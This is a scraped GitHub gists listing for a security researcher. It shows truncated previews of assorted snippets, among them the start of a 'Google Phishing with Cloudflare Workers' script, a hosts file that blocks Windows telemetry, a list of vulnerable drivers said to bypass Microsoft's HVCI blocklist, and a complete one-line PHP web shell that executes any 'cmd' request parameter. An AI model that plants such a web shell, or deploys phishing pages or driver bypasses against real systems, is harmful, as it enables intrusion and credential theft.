Skip to content

Instantly share code, notes, and snippets.

View anir0y's full-sized avatar
🌏
Working from Remote

Animesh Roy anir0y

🌏
Working from Remote
View GitHub Profile
@anir0y
anir0y / worker.js
Created January 7, 2025 10:10
Google Phishing with Cloudflare Workers
addEventListener('fetch', event => {
event.respondWith(handleRequest(event.request));
});
const htmlContent = `
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
<script>
import logging
import os
import socket
import requests
from flask import Flask, request
app = Flask(__name__)
# Get absolute path for the log file
log_file_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'requests.log')
#!/bin/bash
# Step 1: Update System Packages
echo "Updating system packages..."
sudo apt-get update -y
# Step 2: Check if Docker is installed
if ! command -v docker &> /dev/null
then
echo "Docker not found, installing..."
@anir0y
anir0y / host
Created September 17, 2023 08:25
Stop Windows Spying with hosts file
127.0.0.1 localhost
::1 localhost
127.0.0.1 data.microsoft.com
127.0.0.1 msftconnecttest.com
127.0.0.1 azureedge.net
127.0.0.1 activity.windows.com
127.0.0.1 bingapis.com
127.0.0.1 msedge.net
127.0.0.1 assets.msn.com
127.0.0.1 scorecardresearch.com
@anir0y
anir0y / vulnerable_drivers_hvci_bypass
Created May 23, 2023 05:24
170 of the http://loldrivers.io drivers load with the most recent HVCI driver blocklist. Do with this information what you will.
- 0a6a1c9a7f80a2a5dcced5c4c0473765.bin
- 0c0195c48b6b8582fa6f6373032118da.bin
- 0d5774527af6e30905317839686b449d.bin
- 045ef7a39288ba1f4b8d6eca43def44f.bin
- 07efb8259b42975d502a058db8a3fd21.bin
- 0898af0888d8f7a9544ef56e5e16354e.bin
- 08c1bce6627764c9f8c79439555c5636.bin
- 09672532194b4bff5e0f7a7d782c7bf2.bin
- 0dff47f3b14fb1c1bad47cc517f0581a.bin
- 0fc2653b1c45f08ca0abd1eb7772e3c0.bin

Keybase proof

I hereby claim:

  • I am anir0y on github.
  • I am anir0y (https://keybase.io/anir0y) on keybase.
  • I have a public key whose fingerprint is 2431 62C3 B284 BC32 CB11 03B1 A217 B9F4 5304 6C23

To claim this, I am signing this object:

import requests
import json
headers = {
'Authorization': 'Bearer {TOKEN}',
'Content-Type': 'application/json',
}
url= input('Enter Domain(with HTTP): ')
#url = 'https://'+url
@anir0y
anir0y / tinurl.py
Created November 13, 2022 13:17
Script to create short URL using tiny.url API
import json
import requests
banner="""
=^..^=
==> created by @anir0y
[+] we use tinyurl to create short URL
[+] reach me twitter: @anir0y
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@anir0y
anir0y / junk
Last active July 11, 2022 14:57
# edit IAM
link : https://us-east-1.console.aws.amazon.com/iam/home#/policies$new?step=edit
json blob:
```json
{
"Version": "2012-10-17",
"Statement": [
{